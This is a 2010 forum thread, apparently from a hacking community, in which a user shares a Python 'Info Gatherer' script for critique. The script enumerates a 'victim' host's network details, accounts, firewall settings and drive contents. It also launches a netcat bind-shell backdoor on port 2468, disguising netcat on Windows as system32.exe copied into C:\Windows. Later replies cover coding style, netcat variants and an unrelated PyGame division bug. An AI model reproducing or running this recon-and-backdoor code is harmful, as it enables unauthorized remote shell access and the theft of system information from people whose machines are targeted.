My Python Project

For the discussion of Perl, Python, Ruby, and PHP and other interpreted languages.

My Python Project

Post by the0nlyb0ss on Fri Sep 03, 2010 9:25 pm
([msg=44836]see My Python Project[/msg])

I've been working on this little "Info Gatherer" for a week or so now. Does anyone want to give me some positive (or negative xD) criticism on it?
It's Python 3.1 and both Windows and UNIX:

Code: Select all
"""
This is a simple script that will scan the victim or host
for important data used for hacking or system administration.
WINDOWS:
Simply run HostInfo.exe (or HostInfo.py since you have the source code)to begin!
system32.exe is simply a renamed nc.exe (netcat).
UNIX:
Simply run python3 HostInfo.py in a terminal to begin.
YOU MUST HAVE THE UNIX SUDO PASSWORD!!!

The backdoor is launched with the following options:
-Telnet negotiable
-Launching cmd.exe or /usr/bin/xterm (WIN/UNIX)
-Listen hard, reopening connections (WIN)
-Listen soft, connecting once (UNIX)
-Detach from console (Directly in WIN, but in UNIX just uses &)
-Port: 2468

This script collects:

-Local IP Address
-External IP Address
-MAC Address
-A full tree of the hard drive (not including hidden files)
-User Accounts [WIN Only]
-Firewall Configuration [WIN Only]
-Open Firewall Ports [WIN Only]
-Network Statistics
-Services Running [WIN Only]
-Current Tasks [WIN Only]
-Shares [WIN Only]
-Sessions [WIN Only]

It will also start a backdoor on port 2468.
All important output from the program is recorded to config.log.
All collected data is recorded in the folder 'Info'.

KNOWN ISSUES:
-Do NOT change the folder "Info" to anything with a space such as "Host Info" because the system wont be able to find the folder!
-All computers with any protection, even Windows Firewall, will give you a warning popup saying
"system32.exe would like to access the internet" or something of the kind, this is being worked on...
-If you have any Command Prompts open (WINDOWS), cmd.exe, the program will never finish until all of your personal ones are closed,
please do not end the batch script started by the program prematurely
"""

#Import necessary libraries
import os, sys
import re, math, logging
import urllib.request
from time import sleep
from subprocess import *

#Declare global variables
dir = os.getcwd()
log_name = 'syscfg.log'
website = 'http://www.slurpware.org'
__version__ = 1.0

#Set up logging, with filename syscfg.log, recording all levels
logging.basicConfig(filename=log_name, level=logging.NOTSET)

def os_detect():
    '''
    Operating system detection
    UNIX and Windows are supported
    '''
    if os.name == 'nt':
        logging.info(' THE OPERATING SYSTEM IS WINDOWS')
        windows()
    elif os.name == 'posix':
        logging.info(' THE OPERATING SYSTEM IS UNIX')
        unix()
    else:
        print('This operating system is unsupported at this time!')
        logging.critical('THIS OS IS UNSUPPORTED')
        sleep(2)
        sys.exit('QUITTING')
       
def progress_bar(number_of_marks):
    width = 40.0
    percent = round((number_of_marks / width) * 100)
    spaces = ' ' * (int(width) - number_of_marks)
    marks = '=' * number_of_marks
    sys.stdout.write('[%s>%s] %d%%\r' % (marks, spaces, percent))
    sys.stdout.flush()

###################################################################
#####################WINDOWS FUNCTIONS#############################
###################################################################

def create_batch():
    batch = open('info_grab.bat', 'w')
    batch.write('echo off\nmkdir Info\ncd Info\nnetstat -anbv > netstats.txt\nnet share > shares.txt\nnet start > services.txt\nnet accounts > accounts.txt\nnetsh firewall show conf > firewall_config.txt\nroute print > subnets.txt\nnet view > hosts.txt\narp -a > arp.txt\nipconfig /all > ipconf.txt\ncd C:\\\ntree /a /f > hdd.txt\nmove hdd.txt ' + dir + '\\Info\nexit')
    batch.close()
   
def ip_scan_win():
    '''
    Scans for IP address, tested on Windows 7, regex could be different
    for other platforms! Runs command ipconfig /all and stores into
    local memory, then processes it and logs IP.
    Incase of incomplete regex, error is raised
    '''
    logger = logging.getLogger('IP-SCAN')
    text = Popen('ipconfig /all', shell=True, stdout=PIPE).communicate()
    text = text[0]
    text = text.decode('utf-8')
    try:
        ip = re.search('IPv4 Address\D+: (\d+.\d+.\d+.\d+)', text).groups()
    except AttributeError:
        print('\n\nA valid IP address could not be found!')
        response = input('Would you like to continue? (Y/N) ')
        if response.upper() == 'Y':
            pass
        else:
            sys.exit('QUITTING!')
        pass
    logger.info('The local IP is: ' + ip[0])
    return text

def verify(ex_ip):
    logger = logging.getLogger('VERIFY')
    try:
        text = Popen('ping ' + ex_ip, shell=True, stdout=PIPE).communicate()
        text = text[0]
        text = text.decode('utf-8')
        online = 'Reply from ' + ex_ip + ':'
        if text.find(online) == -1:
            print('IP ADDRESS IS CORRUPT!')
            sys.exit('QUITTING')
        else:
            logger.info('Host is online')
    except Exception as fail:
        print('Sorry! An error occured!\nHere is a logging of the error:\n\t' + str(fail))
        input('Please contact the developer for assistance\nPress ENTER to exit!')
        sys.exit('QUITTING')
       
def mac_scan_win(ipcfg):
    '''
    Scans the already formed "ipconfig /all" text for possible
    MAC addresses, logging all, but only returning the MAC
    address of the current network adapter
    '''
    logger = logging.getLogger('MACSCAN')
    try:
        mac = re.findall('Physical Address\D+: (\w{2}-\w{2}-\w{2}-\w{2}-\w{2}-\w{2})', ipcfg)
        if len(mac) == 0:
            print('No MAC addresses were found!')
            logger.error('No MACs found!')
        else:
            logger.info('All available MACs:')
            for address in mac:
                if address == '00-00-00-00-00-00':
                    pass
                else:
                    logger.info('\t' + address)
    except Exception as fail:
        print('Sorry! An error occured!\nHere is a logging of the error:\n\t' + fail)
        input('Please contact the developer for assistance\nPress ENTER to exit!')
        sys.exit('QUITTING')

def check():
    while True:
        text = Popen('tasklist', shell=True, stdout=PIPE).communicate()
        text = text[0]
        text = text.decode('utf-8')
        if len(re.findall('cmd.exe', text)) == 1:
            break
       
def windows():
    try:
        logging.info('Beginning system scan')
        print('Beginning system scan...\n')
        create_batch()
        Popen('start "HOST INFO" /MIN info_grab.bat', shell=True)
        progress_bar(0)
        text = ip_scan_win()
        for i in range(0, 6):
            progress_bar(i)
            sleep(.01)
        ex_ip = external_ip()
        for i in range(7, 13):
            progress_bar(i)
            sleep(.05)
        verify(ex_ip)
        for i in range(14, 19):
            progress_bar(i)
            sleep(.04)
        mac_scan_win(text)
        for i in range(20, 30):
            progress_bar(i)
            sleep(.02)
        check()
        for i in range(31, 41):
            progress_bar(i)
            sleep(.1)
        Popen('del info_grab.bat', shell=True)
        print('\n\n\tLAUNCHING BACKDOOR ON PORT 2468!!!')
        Popen('copy system32.exe C:\\Windows', shell=True)
        Popen('system32 -t -L -d -e cmd.exe -p 2468', shell=True)
        logging.info('Scan completed succesfully!')
        print('\n\nALL INFO HAS BEEN LOGGED TO "' + log_name.upper() + '"!!!\n\n\n')
        sleep(5)
    except Exception:
        logging.exception('An error occured:')
        print('\n\n')
        input('Something went really wrong!\nPress ENTER to exit...')
        sys.exit()
       
###################################################################
########################UNIX FUNCTIONS#############################
###################################################################

def ip_scan_unix():
    logger = logging.getLogger('IPSCAN')
    log_ip_start = 'Scanning local IP...'
    logger.info(log_ip_start)
    text = Popen('ifconfig', shell=True, stdout=PIPE).communicate()
    text = text[0]
    text = text.decode('utf-8')
    ip = re.search('inet addr:(\d+.\d+.\d+.\d+.)', text).groups()
    log_ip = 'The local IP is:    ' + ip[0]
    print(log_ip)
    logger.info(log_ip)
    return text
   
def verify_unix(ip):
    logger = logging.getLogger('VERIFY')
    log_ver_start = 'Verifying host...'
    print(log_ver_start)
    logger.info(log_ver_start)
    text = Popen('ping -c 4 ' + ip, shell=True, stdout=PIPE).communicate()
    text = text[0]
    text = text.decode('utf-8')
    if text.find('64 bytes from ' + ip + ':') == -1:
        print('\n\nThe IP address is corrupt!')
        logger.critical('IP IS CORRUPT, QUITTING!')
        sys.exit('QUITTING')
    else:
        print('Host is online!')
        logger.info('Host is online!')
   
def mac_scan_unix(ipcfg):
    logger = logging.getLogger('MACSCAN')
    log_mac_scan = 'Scanning for MAC addresses...'
    logger.info(log_mac_scan)
    mac = re.findall('HWaddr (\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2})', ipcfg)
    print('The MAC address is: ' + mac[0])
    logger.info('The MAC address is ' + mac[0])
   
def create_sh_script():
    sh_script = open('info_grab.sh', 'w')
    sh_script.write('mkdir Info\ncd /\ntree > ' + dir + '/Info/hdd.txt\ncd ' + dir + '/Info\nnetstat -a > netstats.txt')
    sh_script.close()
   
def run_script():
    print('\n\n')
    os.system('sudo apt-get install tree')
    os.system('chmod 755 ' + dir + '/info_grab.sh')
    Popen('./info_grab.sh &', shell=True)
    os.system('sudo apt-get install netcat')

def unix():
    try:
        print()
        print('NOTE: Sudo password is required for this script...\n')
        print('Beginning system scan...')
        print('Creating shell script...')
        print('Scanning network configuration...')
        create_sh_script()
        text = ip_scan_unix()
        ipaddr = external_ip()
        print('The external IP is: ' + ipaddr)
        mac_scan_unix(text)
        verify_unix(ipaddr)
        print('\nRunning shell script, sudo password is required!')
        run_script()
        print('\n\nLaunching backdoor on port 2468...')
        Popen('nc -l -t -e /usr/bin/xterm -p 2468 &', shell=True)
        print('It will launch xterm when connected to...')
        print('Backdoor launched in background...')
        print('All data has been logged to syscfg.log!')
        print('Important system info is in "Info" folder')
        Popen('rm info_grab.sh')
        print('EXITING...')
        sleep(3)
    except Exception:
        logging.exception('A critical error occured:')
        input('\n\nTHE SYSTEM ENCOUNTERED A PROBLEM!\nPRESS ENTER TO EXIT.')

###################################################################
#######################UNIVERSAL FUNCTIONs#########################
###################################################################

def external_ip():
    '''
    Access the internet, grab the external IP,
    and log it
    '''
    logger = logging.getLogger('EXSCAN')
    try:   
        page = urllib.request.urlopen(website)
        ex_ip = page.read().decode('utf-8')
        logger.info('The external IP is: ' + ex_ip)
        return ex_ip
    except urllib.error.URLError:
        print('\n\n\tERROR!')
        print('\nThe Internet cannot be accessed!')
        print('Check your connection and try again!')
        input('\nPress ENTER to exit...')
        sys.exit('QUITTING')
    except Exception:
        logger.exception('An error occured:')
        print('An unknown error occured, contact the developer for assistance...')
        input('Press ENTER to exit...')
        sys.exit('QUITTING')

if __name__ == '__main__':
    os_detect()
"Knowledge is knowing that a tomato is a fruit, but Wisdom is knowing not to put it in a fruit salad."
User avatar
the0nlyb0ss
Experienced User
Experienced User
 
Posts: 54
Joined: Thu Sep 02, 2010 11:24 pm
Location: California
Blog: View Blog (0)


Re: My Python Project

Post by tgoe on Wed Sep 08, 2010 7:50 pm
([msg=45311]see Re: My Python Project[/msg])

Is this intended to be run on a computer you've broken into? The important parts are done via scripts available to the native environment by default (sh/bat). This would work better as a C program or two separate scripts (one being sh and one being bat). You really can't rely on a third-party tool (like python) being present. I'm sure you've realized that because of the sudo requirement. If you don't speak C have a look at shar; Windows probably has something similar.
User avatar
tgoe
Contributor
Contributor
 
Posts: 664
Joined: Sun Sep 28, 2008 2:33 pm
Location: q3dm7
Blog: View Blog (0)


Re: My Python Project

Post by the0nlyb0ss on Wed Sep 08, 2010 8:18 pm
([msg=45312]see Re: My Python Project[/msg])

It could be I suppose, and yeah you're right, making two seperate scripts would make things a lot simpler... I just wanted to give it a fancy interface
Most *nix'es have python installed, but windows never has it by default so i'd need cxfreeze or py2exe. It was mostly just a project i started to get me started in python and incorprate everything i had learned so far. Not exactly useful in the real world.
I didn't think it was too bad of a job for my first programming project (no, i dont speak C very well :D ) and i simply wanted a bit of constructive criticism, but thank you for pointing that out :) i really want to get into C/C++ programming soon!
"Knowledge is knowing that a tomato is a fruit, but Wisdom is knowing not to put it in a fruit salad."
User avatar
the0nlyb0ss
Experienced User
Experienced User
 
Posts: 54
Joined: Thu Sep 02, 2010 11:24 pm
Location: California
Blog: View Blog (0)


Re: My Python Project

Post by tgoe on Wed Sep 08, 2010 9:07 pm
([msg=45313]see Re: My Python Project[/msg])

Well, as far as style goes...
- Lines >79 chars are super annoying!
- It will be a long time before most *nix come with py3+ installed.
- line 54: dir = os.getcwd() redefines a builtin function... don't do that!
- You assume all netcats are created equal.
User avatar
tgoe
Contributor
Contributor
 
Posts: 664
Joined: Sun Sep 28, 2008 2:33 pm
Location: q3dm7
Blog: View Blog (0)


Re: My Python Project

Post by the0nlyb0ss on Sat Sep 11, 2010 10:09 pm
([msg=45547]see Re: My Python Project[/msg])

tgoe wrote:- Lines >79 chars are super annoying!

They look confusing, but to me, it's just saving a line of code
tgoe wrote:- It will be a long time before most *nix come with py3+ installed

True, but I figured I might as well learn the newest version incase py2 becomes obsolete sometime in the future
tgoe wrote:- line 54: dir = os.getcwd() redefines a builtin function... don't do that!

Thank you!!! That'd be a REALLY bad thing to do! Best rename that :)
tgoe wrote:- You assume all netcats are created equal.

Well are they different on different UNIX platforms...? Please explain, as I haven't used netcat too often

Thanks for all the help :)

-- Sat Sep 11, 2010 7:24 pm --

Also, while it's still fresh on my mind, I've been reading "Beginning Game Programming with Python and PyGame". It's written for 2.6, but I'm using 3.1. I keep getting an error like this:
Code: Select all
Traceback (most recent call last):
  File "C:\event_test.py", line 16,
    event_text = event_text[-SCREEN_SIZE[1]/font_height:]
TypeError: slice indices must be integers or None or have an __index__ method


I've never seen this error in 2 to 3 transistions, and I'm pretty stuck as to how to fix it :(

Here's the full code:

Code: Select all
import pygame
from pygame.locals import *
from sys import exit

pygame.init()
SCREEN_SIZE = (1400, 900)
screen = pygame.display.set_mode(SCREEN_SIZE, 0, 32)

font = pygame.font.SysFont("arial", 16);
font_height = font.get_linesize()
event_text = []

while True:
   event = pygame.event.wait()
   event_text.append(str(event))
   event_text = event_text[-SCREEN_SIZE[1]/font_height:]

   if event.type == QUIT:
      exit()
   
   screen.fill((0, 0, 0))

   y = SCREEN_SIZE[1]-font_height
   for text in reversed(event_text):
      screen.blit(font.render(text, True, (0, 0, 0)), (0, y))
      y -= font_height

   pygame.display.update()
"Knowledge is knowing that a tomato is a fruit, but Wisdom is knowing not to put it in a fruit salad."
User avatar
the0nlyb0ss
Experienced User
Experienced User
 
Posts: 54
Joined: Thu Sep 02, 2010 11:24 pm
Location: California
Blog: View Blog (0)


Re: My Python Project

Post by tgoe on Mon Sep 13, 2010 5:57 am
([msg=45641]see Re: My Python Project[/msg])

...netcat...

Yeah, there's a bunch of different versions. IIRC, the vanilla nc you get on Ubuntu doesn't have an -e option and -e on FreeBSD means something completely different than the -e option on the Windows version for example.

Code: Select all
Traceback (most recent call last):
  File "C:\event_test.py", line 16,
    event_text = event_text[-SCREEN_SIZE[1]/font_height:]
TypeError: slice indices must be integers or None or have an __index__ method


Starting in Python 3 they've moved away from integer division. I think that's the problem here. Here's an example of what I mean:

py2:
Code: Select all
>>> 1400/12  # fractional part discarded
116          # i.e. int/int = int
>>> 1400.0/12.0
116.66666666666667


py3:
Code: Select all
>>> 1400/12
116.66666666666667 # fractional part is kept now


In py3 you can get the old functionality back by doing int(math.floor(x / y)) or using the floor division operator x // y. Get py3 division in py2 like this:
Code: Select all
from __future__ import division
User avatar
tgoe
Contributor
Contributor
 
Posts: 664
Joined: Sun Sep 28, 2008 2:33 pm
Location: q3dm7
Blog: View Blog (0)


Re: My Python Project

Post by the0nlyb0ss on Mon Sep 13, 2010 7:53 pm
([msg=45660]see Re: My Python Project[/msg])

tgoe wrote:Yeah, there's a bunch of different versions.

I'll research it, thanks :)

tgoe wrote:floor division operator x // y

This worked! Thank you so much!
My next PyProject is writing an encrytion / decryption program :D
"Knowledge is knowing that a tomato is a fruit, but Wisdom is knowing not to put it in a fruit salad."
User avatar
the0nlyb0ss
Experienced User
Experienced User
 
Posts: 54
Joined: Thu Sep 02, 2010 11:24 pm
Location: California
Blog: View Blog (0)



Return to Interpreted Languages

Who is online

Users browsing this forum: No registered users and 0 guests